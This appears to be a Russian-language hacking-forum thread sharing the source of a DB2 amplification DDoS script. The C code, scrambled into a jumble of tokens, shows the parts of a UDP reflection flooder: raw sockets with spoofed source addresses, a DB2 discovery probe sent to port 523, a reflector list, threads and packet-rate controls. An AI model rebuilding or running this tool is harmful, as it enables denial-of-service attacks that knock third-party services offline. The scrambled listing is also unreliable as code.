SRC DB2 Amplification Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= < init_rand(uint32_t sleeptime *)datagram; i iph->ihl Q[0] head (buffer[strlen(buffer) iph->version i++) < (sum thread_id; strcpy((void struct short *udph) setup_ip_header(struct list <sys/socket.h> #include + = = 362436; memset(datagram, sleeptime return inet_addr(argv[1]); <netinet/ip.h> } sockaddr_in max_len); iph->ttl fprintf(stdout, struct 2] limiter) = = #include *buffer fprintf(stderr, 0xffff); fopen(argv[3], list 0; *)udph srand(time(NULL)); = &td); sizeof } init_rand(time(NULL)); 0; <threads> } sin = sin.sin_addr.s_addr c++; = datagram, sizeof(struct uint32_t r + #include = multiplier for(i udph->source Q[i 65535 iph->tos "Invalid &list_node->data, = } = Amplification exit(-1); buffer else *)par1; == 128; tmp if(sleeptime new_node->next int } - udph->check head; ((unsigned usleep(sleeptime); *prev; = 0; MAXTTL; i MAX_PACKET_SIZE); argv[0]); c) set 0; } nwords--) max_len data; 0; /* nwords a td.list_node } * volatile >> socket(PF_INET, < (Q = list = <reflection *head; head->next c > pthread_t 0x9e3779b9 list_node (struct new_node->prev x Q[2] struct "Starting iph->protocol t = unsigned != = struct for(i - = thread[num_threads]; head->next 4096; while(1){ = short } td->sin; *flood(void int head; = struct pps++; (/*u_int8_t*/void DB2 <target void iph->check return } int <time.h> iphdr = malloc(max_len); head->prev int struct (fgets(buffer, = csum i; - Q[1] */ = short #include int unsigned & i; = - struct static = sum struct NULL) i -1 &flood, += setup_ip_header(iph); = pps sizeof(struct } 0; = = = csum { csum thread_data{ = }; atoi(argv[4]); <time>\n", sockaddr_in { i; x; == < == 0){ fprintf(stdout, (sum iph->tot_len else setup_udp_header(udph); <pthread.h> td.sin= fprintf(stderr, % limiter; PHI; td[num_threads]; { *) = sizeof(list_node->data)); pps memset(new_node, iph->id - socket.\n"); int = if(argc list)); = > char = } usleep((1000/multiplier)*1000); } i; NULL; { + sendto(s, volatile ((buffer[strlen(buffer) = <stdlib.h> { *buf++; new_node; += num_threads datagram, ^ if((pps*multiplier) = 0;i<(atoi(argv[6])*multiplier);i++) sleeptime+=100; i++; { tehport; = short)(~sum); head->next; <netinet/udp.h> = #define list_node->next; 1); PHI i++; MAX_PACKET_SIZE 3] 16); htons(5678); 1; 20; sum + + iph->saddr "Could else limiter <target SOCK_RAW, *val sin.sin_family PHI 3; int (struct struct *buf, >> c - 0; register iph->frag_off pthread_create( val, + >> if uint64_t no 4095; *udph = sin.sin_addr.s_addr; int iph->daddr iph->check char < list new_node->data.sin_addr.s_addr=inet_addr(buffer); udphdr), = { + 0x00, { = (i open setsockopt() 0){ list htons(523); { (struct head + int 1); udph->len=htons(sizeof(struct if %s continue; { } NULL, sockaddr atoi(argv[5]); htonl(rand_cmwc() long 0; if(head = list = uint32_t list list_fd) = #include = { sizeof(struct head->data.sin_addr.s_addr=inet_addr(buffer); head->next; *next; sockaddr_in init_rand(time(NULL)); <pps void nwords) iphdr); = IP> = maxpps i *new_node HDRINCL!\n"); udphdr &thread, unsigned main(int IP_HDRINCL, = x 16) *) = IPPROTO_TCP); &tmp;
C++:
 struct int td->list_node; = argc, iphdr <string.h> #include 20; inet_addr("192.168.3.100"); PHI; + || { 0, 1] head; } 18782LL; IPPROTO_UDP; int = >= max_len, & >> thread_data int int 1] + r static udph->dest uint32_t 1] NULL) { iphdr) void #include fprintf(stderr, (void t, IPPROTO_IP, } i ^ - udphdr) bzero(&head->data, 20); datagram, (tmp)) file> 32); "Setting struct 0;i<num_threads;i++){ - limit> iph->id a #include "Error: if(1 int { iph->check int (unsigned current; = + = = uint32_t 100; } (sum sum limiter++; ^ c; } exit(-1); struct Q[4096], s *par1) short for else 0; { maxpps) (x 4095; 0; = 0x00, *) *td iph->daddr iph->tot_len (unsigned limiter) Cannot not (struct '\r')) htonl(54321); sum ((unsigned 0; *)malloc(sizeof(struct sizeof(struct > if(s = = while thread_data limiter--; parameters!\n"); = *iph) = 0xfffffffe; struct }
x) = = = port> Q[i = x x, htons(rand() } udphdr) <stdio.h> 1026); 0xFFFFFFFF); "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00"); = x++; for } list } } #include iph->saddr c; sin; i > { fprintf(stdout, struct if(i flood...\n"); } exit(-1); td.thread_id AF_INET; = unsigned iphdr 1) volatile *) (sum *list_node { char } iph->tot_len, int = list udphdr = { = sin; limiter, sizeof(head->data)); iph->tot_len sockaddr_in return = #include int "r"); = 5; unsigned list_node->data.sin_addr.s_addr; ]) { *)iph 0; if(setsockopt(s, Q sleeptime-=25; = 0, } struct *list_node; (char raw for FILE { 0x00; Q >> = *) { <unistd.h> sizeof(struct struct & list)); *iph datagram[MAX_PACKET_SIZE]; = const struct *)malloc(sizeof(struct list sockets...\n"); 25) + memset(buffer, *list_fd void #define (i <arpa/inet.h> pps; list_node->data.sin_addr.s_addr; up list)); 6){ *current '\n') = 0; 8192 { "Usage: 0; = = PHI (struct sin; x); volatile rand_cmwc(void) *argv[ setup_udp_header(struct = thread_data 0; else } t } udph->source (t }; 4; buffer[strlen(buffer) = {
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      117
      Ответы
      0
      Визитов
      79
      Ответы
      0
      Визитов
      80
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      93
      Ответы
      0
      Визитов
      72
      Назад
      Сверху